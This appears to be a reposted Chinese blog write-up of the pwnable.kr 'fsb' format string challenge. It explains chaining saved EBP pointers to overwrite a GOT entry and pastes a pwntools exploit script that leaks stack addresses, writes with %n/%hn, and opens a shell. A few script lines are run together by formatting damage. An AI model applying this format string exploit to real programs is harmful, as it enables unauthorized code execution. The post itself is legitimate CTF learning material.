pwnabe之fsb

来源:互联网 发布:混沌与秩序2官网数据 编辑:程序博客网 时间:2024/06/08 01:14

这次是个格式化漏洞

不过特别的在于字符串在不在栈区所以无法直接读写内存,只能通过栈上已有的地址来

大概意思就是输入的内容在栈上只有一个地址,无法改变其他参数

通过参考http://blog.csdn.net/smalosnail/article/details/53705774

可以看到ebp(fsb)指向ebp(main)所以可以通过这个方法更改ebp(main)为got表地址然后再修改ebp(main)

格式化漏洞x64中还要加上5个寄存器

所以参数从%6$lx开始

附上别人的脚本

#!/usr/bin/python 

from pwn import *

# context.log_level = 'debug'

# p = process('fsb')

p = ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')

# log.success("recv: " + p.recv(8))

sleep_got =0x0804a008shell = 0x080486ab


payload ="%14$08x%18$08x"# gdb.attach(p,"b *0x8048610")

p.recvuntil('(1)\n')

p.sendline(payload)

esp = int(p.recv(8),16) - 0x50

ebp = int(p.recv(8),16)

offset = (ebp - esp) /4 

log.success("esp = " + hex(esp))

log.success("ebp = " + hex(ebp))

log.success("offset = " + str(offset))

payload ="%%%dc"%(sleep_got) + "%18$n"

p.recvuntil('(2)\n')

p.sendline(payload)

payload = ("%%%dc"%(shell&0xffff)) + "%%%d$hn"%(offset)#p.recvuntil('(3)\n')sleep(3)

p.sendline(payload)

payload ="AAAAAAAA"p.recvuntil('(4)\n')

p.sendline(payload)

sleep(4)

p.interactive()

我尝试更改其他got表中的其他函数可以执行,但是我想试图换成ebp(main)下面的eip失败,目前不知道原因,求大佬解答

找到了别人的总结,可能由于地址过大

1. EBP->EBP在一般条件下,能够改写栈中的变量,能够做到指哪打哪
2. stack addr->stack addr更一般的条件下,如果能够有一个对应的地址基本也就没问题了,但是如果stack过大(像本题的情况,也就不能用了)
3. stack addr->code addr如果想改的在bss段等,肯定很方便
4. 最最基本的情况,fmtstring在栈中,可以控制输入内容,那才是真正的指哪打哪.
5. 总之,最基本的都是要有一个-> ,但是本题麻烦的是只有->,两边的地址没有匹配的,所以虽然可以利用,就得写一亿多个字符出来,但是本题的设计实在精妙(如开始的random&0x12345等),值得学习学习.
用stack命令就可以很容易看出有没有利用的可能性。最后其实很容易可以发现是有可以利用的地址的,所以这题是可以通过$hn改写地位造成字符串溢出的。懒癌犯了懒得该

原创粉丝点击